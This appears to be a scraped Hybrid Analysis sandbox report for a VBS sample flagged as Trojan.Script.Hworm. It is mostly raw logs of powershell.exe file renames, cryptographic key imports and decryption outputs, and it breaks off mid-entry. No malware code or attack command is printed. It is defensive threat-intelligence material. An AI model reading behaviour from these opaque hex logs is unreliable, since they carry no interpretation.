24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 5e:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T48e,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Script.Hworm Sample 60c6242057a2… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 60c6242057a2…. Malware family: Trojan.Script.Hworm. Threat score 100/100. 9/33 AV engines flagged this file. 4 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/60c6242057a2ed2a102be819922a807139becf6b1cda2fa9eeed873fc6320623","keywords":["Malicious","Trojan.Script.Hworm","malware analysis","sandbox report","threat intelligence","60c6242057a2ed2a102be819922a807139becf6b1cda2fa9eeed873fc6320623"],"about":{"@type":"SoftwareApplication","name":"EGK.vbs","applicationCategory":["script","vbs"],"identifier":"60c6242057a2ed2a102be819922a807139becf6b1cda2fa9eeed873fc6320623","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Script.Hworm","antivirusDetections":{"malicious":9,"total":33},"behavioralIndicators":{"malicious":4,"suspicious":19},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T4f1,"powershell.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VR7V0BTQ38W0RIS2AOFU.temp" to "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms" "powershell.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms" to "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF101cf0.TMP" "powershell.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\W5QMSBYDTM2JFXSMFHV2.temp" to "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms" "powershell.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms" to "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF104eed.TMP" "powershell.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZK2DQA241HPPG99LKDYM.temp" to "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms"26:T1ddf,"powershell.exe" called "BCryptImportKey" with parameters {"hAlgorithm": "195480" "pszBlobType": "OpaqueKeyBlob" "phKey": "10044f0000000000" "pbKeyObject": "6e02000052555555805419000000000030044f00000000000000000000000000300200004b53534d0200010001000000100000008000000010000000adce2f250e7df56477eebf16b3beee670000000000000000000000000300000000000000adce2f250e7df56477eebf16b3beee6702e6aa480c9b5f2c7b75e03ac8cb0e5d1f4de6a013d6b98c68a359b6a06857eb5e160f404dc0b6cc2563ef7a850bb8917d7a8ed730ba381b15d9d76190d26ff0d8d202b7e8683aacfdb1edcd6d63823d03c1258beba91f271618f2ea7b7b70d762902baa8939348d9f21c667e45ab6b05cdeccc3d5e7f84e4ac63e29ae9c8899991a22274cfdda69063be440a8a76cd9f34a17e5bfb7cd8cb98c29cc112b45158444286e49c7db57e4542f0696d43dc5bc072d1bcd83f339ad93f451728012c364d3cb0f7184de2260100768df13e6922500db921557152d1194d94abf03e1fab9d606d63057cebf04c3cc67ae9738b00a9345828981c869349402d8aa54f4d7ae58f10083128debbd15cab19ec0f60fc62d17e82d4a7ceb3e07475a23d53cbe71c6d564eb676b03134d3bb11dd27be4adce2f250e7df56477eebf16b3beee670000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000004001000000000000000000005cd8720b4daf0d0014596df32ef7bc7a350063003300300038003000350035006400610039003500350064006100" "cbKeyObject": "622" "pbInput": "300200004b53534d0200010001000000100000008000000010000000adce2f250e7df56477eebf16b3beee670000000000000000000000000300000000000000adce2f250e7df56477eebf16b3beee6702e6aa480c9b5f2c7b75e03ac8cb0e5d1f4de6a013d6b98c68a359b6a06857eb5e160f404dc0b6cc2563ef7a850bb8917d7a8ed730ba381b15d9d76190d26ff0d8d202b7e8683aacfdb1edcd6d63823d03c1258beba91f271618f2ea7b7b70d762902baa8939348d9f21c667e45ab6b05cdeccc3d5e7f84e4ac63e29ae9c8899991a22274cfdda69063be440a8a76cd9f34a17e5bfb7cd8cb98c29cc112b45158444286e49c7db57e4542f0696d43dc5bc072d1bcd83f339ad93f451728012c364d3cb0f7184de2260100768df13e6922500db921557152d1194d94abf03e1fab9d606d63057cebf04c3cc67ae9738b00a9345828981c869349402d8aa54f4d7ae58f10083128debbd15cab19ec0f60fc62d17e82d4a7ceb3e07475a23d53cbe71c6d564eb676b03134d3bb11dd27be4adce2f250e7df56477eebf16b3beee670000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000004001000000000000000000005cd8720b4daf0d0014596df32ef7bc7a" "cbInput": "560" "dwFlags": "0"} "powershell.exe" called "BCryptImportKey" with parameters {"hAlgorithm": "195480" "pszBlobType": "OpaqueKeyBlob" "phKey": "f0094f0000000000" "pbKeyObject": "6e020000525555558054190000000000100a4f00000000000000000000000000300200004b53534d0200010001000000100000008000000010000000ac07b71a7da1822942489a16f3941d710000000000000000000000000300000000000000ac07b71a7da1822942489a16f3941d718fa31417f202963eb04a0c2843de11599021df0d62234933d269451b91b754423d01f38c5f22babf8d4bffa41cfcabe685637d10da41c7af570a380b4bf693edd7bf28a30dfeef0c5af4d707110244ea80a4af218d5a402dd7ae972ac6acd3c051c21595dc9855b80b36c292cd9a115269401528b5d84090beee820273749350e09c46a755440637ebaa843598de1765cb6c0be19e280dd6758289e3ed5c9e86afc628dc1b2c081fff8d6be9910276d164e530a5b4ea20c3e4a163f66e8f1d38ecbb8ecad00f1066504b43358a2e7ecef91d99d73cb49eac80445353da653dfb6c404e81c5a9077bbcf0cdff5a216ea82037d549a9e949fa7959ca84e6d1a3573d91759a89de9cb3d0b0837e9f8869d3982011cab44fe929596e1fcd4f38eaadc17c04962c6ff8e3ed21f6e41656f560ac07b71a7da1822942489a16f3941d710000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000004001000000000000000000002a40f342778d4d8e63eea773103f0167000000000000000000000000000000000000000000000000000000000000" "cbKeyObject": "622" "pbInput": "300200004b53534d0200010001000000100000008000000010000000ac07b71a7da1822942489a16f3941d710000000000000000000000000300000000000000ac07b71a7da1822942489a16f3941d718fa31417f202963eb04a0c2843de11599021df0d62234933d269451b91b754423d01f38c5f22babf8d4bffa41cfcabe685637d10da41c7af570a380b4bf693edd7bf28a30dfeef0c5af4d707110244ea80a4af218d5a402dd7ae972ac6acd3c051c21595dc9855b80b36c292cd9a115269401528b5d84090beee820273749350e09c46a755440637ebaa843598de1765cb6c0be19e280dd6758289e3ed5c9e86afc628dc1b2c081fff8d6be9910276d164e530a5b4ea20c3e4a163f66e8f1d38ecbb8ecad00f1066504b43358a2e7ecef91d99d73cb49eac80445353da653dfb6c404e81c5a9077bbcf0cdff5a216ea82037d549a9e949fa7959ca84e6d1a3573d91759a89de9cb3d0b0837e9f8869d3982011cab44fe929596e1fcd4f38eaadc17c04962c6ff8e3ed21f6e41656f560ac07b71a7da1822942489a16f3941d710000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000004001000000000000000000002a40f342778d4d8e63eea773103f0167" "cbInput": "560" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d066bd0" "pszBlobType": "ECCPUBLICBLOB" "phKey": "b091590000000000" "pbInput": "ECS1" "cbInput": "72" "dwFlags": "8"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d066d00" "pszBlobType": "ECCPUBLICBLOB" "phKey": "3093590000000000" "pbInput": "ECS30" "cbInput": "104" "dwFlags": "8"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d066d00" "pszBlobType": "ECCPUBLICBLOB" "phKey": "e094590000000000" "pbInput": "ECS30" "cbInput": "104" "dwFlags": "8"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d066aa0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "a095590000000000" "pbInput": "RSA1" "cbInput": "539" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d066aa0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "e09d590000000000" "pbInput": "RSA1" "cbInput": "283" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d066aa0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "b097590000000000" "pbInput": "RSA1" "cbInput": "283" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d066aa0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "104d121d00000000" "pbInput": "RSA1" "cbInput": "539" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d066aa0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "704d121d00000000" "pbInput": "RSA1" "cbInput": "539" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d066aa0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "1095590000000000" "pbInput": "RSA1" "cbInput": "539" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d066aa0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "f09c590000000000" "pbInput": "RSA1" "cbInput": "283" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d066d00" "pszBlobType": "ECCPUBLICBLOB" "phKey": "f09c590000000000" "pbInput": "ECS30" "cbInput": "104" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d066d00" "pszBlobType": "ECCPUBLICBLOB" "phKey": "c09c590000000000" "pbInput": "ECS30" "cbInput": "104" "dwFlags": "0"}27:Te18,"powershell.exe" called "CryptImportKey" with parameters {"hProv": "46c340" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "aF"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "46c340" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "009e480200000000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "46c340" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "409c480200000000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "46c340" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "b09c480200000000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "46c340" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "10a1480200000000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "46c340" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "90b54b0200000000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "46c340" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "00b64b0200000000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "46c340" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "e0b64b0200000000"}28:T7157,"powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "HTTP/1.1 200 OKDate: Tue, 15 Aug 2023 13:39:15 GMTContent-Type: image/jpegContent-Length: 5427280Connection: keep-aliveLast-Modified: Tue, 01 Aug 2023 23:17:35 GMTETag: \"64c9928f-52d050\"Cache-Control: max-age=2678400CF-Cache-Status: HITAge: 4"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "cd727665cf502ac5018e56aba1a61833dc98b9762ea6dcdcacba20ad952e9aa1db2204705d5d30e7ce8b9bb14674af7d98d967a3af33d33465a826acf70d328f3ece9cfc88e8cd1742b14022ac9a24dace2a68136ba6b842755012ec0904d1054d46a95baa695307b6a704da91421a9a4c986e41350b46b93dcf5b5e7e3e1d39235eaeb872f1eab436a77d4628d45ca668aa482a6895d14c4c51a2a5737a44f9d593a0542848acd6161046816415a9b1b94c4cc563219a6428590a098804ec081827de5d0d32e5f3f4b26cc2c6437b86d1973d3a5ae3cfc7729740f2fa4def46eacf958b2a96563cd963346ab743453743cba2b1329c4e988554c2b8cb9d686818955a75cd61438ab4cd649a16ba19cf3eafa8f2e7dd6ad637d67c6c3622dae742d3d976e1dddb9785874787e5db9b1481aef2d9be39235dcba30a909379a685a381d342d0b94279c6baceef35abb125009adc58424143de4a331ac81a5b9d9a60a0c0a92036b76b8e69d7e8de8f9de5393bbcd72f61b4224858c41352d9643173dbdb2c137833d0434b98a9630010dab64bcaaf24c588e8252a44094a85106e54321000229bb15d032dfa662101498a741aae33e5adb4216c01c1465208981b2f3cb3a0a6d51b6b2ceb5a62d531cad5c4def326b3c69af4cb246b4321401182ab1dba8236154ccd832a952a656564a8b5aad7a63f51eff2be67c7df9b3d72ce841044d1b462cb3a58408201f434e709acab4a014e040816d5802ab14150e07734e8e8cbeede19f8ab83a74e58ab1b6749a61913d3a619a35a6a4d58508440e0dc082d15485321daa614a79c260df59a63420b0d0259a522cadd78e59d16149885b5488c173a6f2cb3a6cdb1eb5479fc77608016a866f6564a4d53a122300205818d83b9bb72a089b4093d0ac953aa738d266ca95ce82220887de4bcef452b5232e05b672e03ae5516411c49a24e34c46bb8db5973b2dd81736c5713227a1ae3831e8a1398c6933a364e816c93531c966500a52d358c54e8a19ad1496d2f4113501ba67931db5dc22290119eafa0c8979ecb41a8a0a0ee7571f2397ac26d48b0d58a5740fc6c3534d48a629f4b68f41d0fbdd3cdb8e6c91af172ebf39cda79bc9a6a16ddb54a9ad674f7bb746bb28dda4638ac50e9801854dda58850021bc908348c12f3ec5f37266944ada554ca85275531c2932a93a9eb5ac39ef82768e2dcbb5c30e5a80c596a989eed714e7a295f435e7c71b74f3dbd93eab57c9479b39e37aaa78cf9d6936748c554c68f4cb267a40b6a85423a944dd0461350409b6a0584e14ac13a4132e59d481541000201d45a01558505b5d2bc33c6825da4b554cb469d33bc925683446865d0e876cb07dc22740556c247a3ece2da2f21cdd8dd22f004333b8201bef38d266943a198a90da94cdd8a050e05b46e5ae17340ac1962"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "J+"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "%tU"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "8a1564cf611532dcd26da929bd024c5b296b6ae355aa7bcc1acd0ed53d539a62a0447373a18844c49856f9d5934379ad0b9b2614d46466d9d3a2b4534c5243e85df5b7c8c5ab485c3e7e5ae8b5a1e7d5db9d595233ae4f36d9ddb495cab946d32e745ce79d687619219dc045953dbd31971a5cbb066919234d3a469b749e8d33e6f2eb9b2d345adba660d85a29366f966c75c79d94c669d9114b4f46ab6542e83a9c534975a696253924c4b3312e756b496f46dcfcfcf643916d6e12e1480a9519c68452b25107790b2a5f434ca25cccf75b5449b401009327149b9cedbcf24d2d8b9a316a217349774cd4f354dd8c98c72acf431c4da8b6faeebdb1e859b72717d5d8e6c1e6a79b3bcd553cebc3339d5b73ac39f1b8b42865c0a74142372a55d7d79b2aacd9dd0e984275402a5aa09aa16ad325cd24aa474b5c75d65c5c7ac66ada2909aa1dd4fa4e8e7f3187480e096500ec09aa4c420e82c56c14c81ae1635aa21d831c02a738691956803b150e010ada14fd975f0f99c7a32e5aedd3254d659d2c501f59e75aeadb00c5e75a95282d759e28db6e9861cf673828eb7a7aaa3067bc1eca94c6a0e0054d1b9b736d04b62121499b46e5a34cd9b5d8b8c78f764d78929c9a7315340e449a640685d4472bcf5219b40142ba909aa6ad169db18e44602d979638d28762a5462102698293b1a60e6851a8822a93b6895b450122a15b54a9c3b54c46bbcaa6e4ed110412ac2d360da4daa26c65e85441428872b72b61229ac5653153504ae98d55ad6941a5bdd6767a3230d3a739abcd95e8b9d359bea1f7982ae0f075618d050c72c73509520329b129b43924a6cd32e7e5b6bd674d99b3640fbcc4d2998e2eee4235cf2c1e4bcde55a6cb7d270cd8d1509814ef143cd95e64e21a3d951b3490559d344dbb49d9b473e0e5cc20c903d4d04eba75c52ce4cdb76c1117d0d79f8d974a1e7a74c7326b9a6290bc3339ddbf265cf54a34d4b5cf3f2de04115c25337352da020c7102916e5ee17346912614fbdd1cfc0e7e98143156c69892d5d2ad8e5ed750bf7b5e92969cfce887e4b3e6e75f202bc35922a4188a299014e44230c98d454a7242315881314e0a32c52918266eda1635c266e22dab1d208a84da09a11c699a410b146c6e45b5aa80d698e50981568372b5761604e56aa320ad3a1935aab2cb3a11209d0d952f706d2a6b3cdb6a2a6a262118216143b0273eebbfcfe7e75e5393ba398381005141437474326fbdbf270b0ecb1d868042a2100d6e2d8c4ed23acb3274e581b6f2c99ef132562ca73a6f0cb3a922951a62e6aa007498d2b152668811ad3598b111a58c03456699a1021d808a3429939311d2db59f3b2e826aa6b5949551c52744c1d264c8873ad151ddd30f3387480e0a0da04ac8355e288b91b3550bcca68c449baf3d034c68d0934da4b"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "a058ac2c423d59f553513308a963b158e93614a79886abc979eda6b2caa84983211aaa1c1c18b93a8db70284c5a62d8d034b68028208c2829902246d68a94c6a09b9a5254c36825c18b9b27d0747270f0ea12a0ee698e0c3751832d844ca56e18d668d1b521166531cedb9e7e5ab2b352aa6109e12358234ce6d6e48192d8a8c5626dc8468d73498266210d31aeb5b08a90dd716cb709b3688b055d1bae8e9967c3afadb67ab4908aa97b75cb55469d20269335a2b37d43f48824ce9e73cfec5ccc12d304e9809885a182361d48cba08380fb4da334d093a344fd172f0db20d29e6936de499d5535a2a0f359ddecd73d96618d0a8c39e960c739952da54d131b40d40a0982e71939ce7c83d94f6475743ab9b9cb2e1e5ab6b3c0aa9a6de264eaac3959f4a520aceaa085579e4974e75e98669b3452a3436e334694c323bbb71e0cf7d559e2c75b6349eabc7365a2d8874a7549d304aa54fb95ce9734d49c9fa17d1efba35d533c2e57c9ceb6e95e58e3546b7578fa78b8a8065b14544334c724e941056cd2a91780a513d7af3e78d55362104ca95aaa08310b6a85a2e33c5c4e81d7098b2000b0800c9489812ed809db201b423a063499bb0833269949d356003a0b431a2129540a640822140b4c40da612b2851194826a822704eb94c546a86da809aa010b08c763d51b3430691c11b4286525cd5309c12653a3494122d109d523162365c41c54b96d6fd67570f97c77cd8eb43201a4b26984e484b60845562b112743b43568159822c0c760a1508ea693a1b4526c9ab56d5692635633704e533a101a6fa95ce94275422742714009b06e9b1039bb132b329b28b3080c68c4336650884509b1ea9db44e8600a7d1f672bc5cce4ea16919eee1eba7dee8e629e9ebed8d0979d295266f5eb0f7244c454bd1ac7437e7097972d7063af2b9358403a75c5aa83a1226929929b014d8d101b4cb081230669db083e6e1d0551cdcb4c32fa3b2d771871dceb36cc6723a1d19861d7cf8b55ab72857aee142cb362d9156dbde6579f373d0c2830bc935882add3d5d2df1cf787173d0a5e671772946fbcc09c79e995e46f35dcc96aa40e5b588542235895b1ee12ac15139d75918ad3394b8a713b6f1545b6431672b3d5d506d2e345151b6b97349cb57a7d88dbe8dd3aab1be4e0b3816f8f9e9c8236e81d3c3e9f37988aa9ccac1aa696d0841993a19dacbbb81a70a5c50a3541499dc0a61351ad779628da54b1a445c03158846204d4014c9a58e996c01e9acadacd1b6fd30c93a2674639594fa84c68ea844dc11d209ab0814d4089db09141411aa0a1da5e87a787cff0037736a0259342988c59009ad0f3cb3ac08064baa33ce9028205040372ec7ae9aa1b0227138d031ae453654a66ac649e8709400473baf2c59ec45112033298aed33126b3520c71a63944d83"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "a8499aa1b6a0da09ab0164408c538d08e342382d370a9ab6521f719a74595436120aa046a050e0441046baba73f2b3e8d0e5137616d0818859622480a8932a573403b6a82da8812a05031aa4cdc2d568acd137aaf24aa44dd87572efccf35a23548614759a4713a4eda36a2ab4e12cbca2006b9706d6ad3b2b4d452d246b55024e713a744911a8d4a84a7416d5b511e93a38bce73f7496eb808b2190d4f304dd798aa63526ed5356955925324e050c93b29c536b0cc3d159b1ce2cfa0a6983a10850a984028b190da9bea539e8d1690ef476eca5e7230ce418a3515e86d8e9117a2f3937514c46857d836f47d1999675269bea413c78e8b556d5436199d19e6f3c56cd73e9ed968acb5565cec3a5337b358d379bf4c939d0a79a6b261a66ceb246bb34842422c99ec559ad5952d14b45111104e5f79f333ac534cb3345989b2cb4cd468d751ce754a96f50962aa130d34b2ab81b1b6b2a9054917866902379b0727568deab019e6a98cd578e7acf9eb4263085ce94245e452d48bbe7c2d5354284baa132f5d65995b9ce2296d5012086c07de66a5a4af3642792c89739a1d82d5adb9a19a2ecaa65cdf475c2a1d675b731e5429456e3506d44f674e9cb15c07cd8eb38e5f3af3eb2554bf4c3246de9a3b3d12db292359f1b3ae65f3f374e75b9a72eb8cf176d13489b16a0c0040ea693883689a54d465050eda04eda1082310956023b6081340510853a6ec5414102c1d53485cdd041d8a0ec5414100dcf45e38cd013f51bf1f94e7edb6807051a205aab140806d02a8226a904d501b9a93adcfeca5e6b79d0038b674f4e7e465bd32d51342048d352a9b0259792e6adcdaa141b7a2e77b8e7e5d0c5494e9c026d344bc41a37290a08d41d20844d02ab0b16fd23267a126825f79d3499d2d36812bd8ad2e1488aa9848a02636754d6428b1b1a1556820254b704106d556e5433029bb410d89f627a3d83ebe9e91c0ca3c9cf1d381652a2566684db13b97269c3deb4f4da9b6e72e57a2e6d06d222e80d8991f529cd8a74d80db73deece1acb4a4d31743b66cac9f79bf584c52e6a0bcff17549b7691033c5e5972a698c74483a18d349a46ce8e47df379de3f41ba472f1e8b4cdcf63ab93998749ab94f22a2a5baf0c586b9684382949658cc9eb5e3c19ec2d1669a5a76e6225c567a38ad7ae5832ac88945d739698f363a4ea4168eac86b1c88e8de5cecb655424965656503cd6863864d25b118d4034337604d1b919bd4a584294c6b44ce8599881b312860529d08edba54e4f4346a1d13071528a21da62ca1ef37ead746327867321c686d456370aa8d13afa0c3b7d12d24e9ccbcc55667970b6e1e65e2579a25e93520c9a73c62935940995488b5567973d682c286ca952707bb5c39f9ef69530584111009a5aba689a05462369255040b0b1132846d0a6"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "f32367df2e092ab3a0cf32eacb28cda89aea2567a34c5f99cfcfa9746abc5b4b0e5d0eb94cd68bc7267a6f7124268527ac9f30d79a5d00c15550a554d9058d805344a622da25423211a0e84ad29ad6f5d06dc8ae30a8acf6d73be4db9256659f4e8cba225d8cfa351792a41192b3e4edc935c39893c553ae5bc46858eda50e82846e41535caa6eda8c2a94ce862a4139154145811209f537e7e663d221a6f2cd3ae87089d2829900893680ad978127cf8da8a201024ac0466e015403277e9973a34b18a29bb150e35432258e7439c33b40213ab344694c26a2195125f5f9bd882f55d9c5cecf4e273f4374c62498da9ad7d1cfeb7a3cdf15c5e8605a10fd1eb802ae1e7a038b06de61370169ec04ce8a1038d7a648cf564ed013787535c38f8ef6d08501041d0ad5589b51a5bcb34915b9a4ec6288c899011568206aa6b5aaa5136d8e8ed2e8df3b2ccf52d96db01178714e5e5a806883a31d1aa74510abca80568a16d57ba76792f8d7b89b09dbbf3a54f9ec37c8e56371adabdc59b4c9ad2c346c72fb8cb2669a6b3a1aceab8c18ea9976270a53a24996cba34a8a4d517aef36b992a26da86dcdb39f8ea23d1ac32a6a4e763bb1a65214226a9cd14b9b4cd8a4ca98d25263cd735b36e61579635973e93b3ccf33c1e9aa7565ce557910ebcdcab2ad18960233316a88a552055a6d88ddaf366cb759308eaeb967c3a70a62d2ab082d13a5961722d66792c865660a5758e76013b74cf3e5a854911e9fbbccf5b587cbf87d6cceb6d473b2e86359da83db593dc867a5e7a593aaf0384c99012a92db04eda028e954b21537a2e519e910d26d315462b72255312353a88a25ce8a75dab40268d35ad7955ca0e3795dcc3b4d5602174b1dc65d30c7a608450b35488d74806202d46a05222700982c1188188820846038c82b16bd32c99ec75299bb635c8a62301d8b5564e718e36a012a87611a88a08161614280facfa1587333e816c84a566e56aadaa07bcfaf787273e8ce6910ca9f4baf2f98c7a806426b958c157639fd36a7a8b4bcd092dc4a86b1517bb48f57d3c9e3f8fb90d24832b5c6cb719b5e5d1a4f575e4e77274e57a226983a1838073aea139eef2a93caf2b0b60920330a4ec700c28041a53534d66a1441354311da080953066073a12641ba77ebcf4f4cd5f3a2c9ccdd235bad4352cfcece3779e77279ea637b2dc67710a6aad2ad115d757d4db0c386fb08d5739e420d1b64fbcfcdf277229ea064d1b3533a5ae31319ace85a1317b2d3dc669a2726314ce8d170b0836b92144ed260b7699273a652a91d722dadbb10256320cb179a3483ddb63069ce91159e2c4743585d45d43f4c572ec95c5ac56ced75f0f179fb518ef6d08634d2dec0075984084a4bd12674072c1bf48447432f1a9d3319b75e75e7aba6d537989bacb9ea3597d27388d3"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": 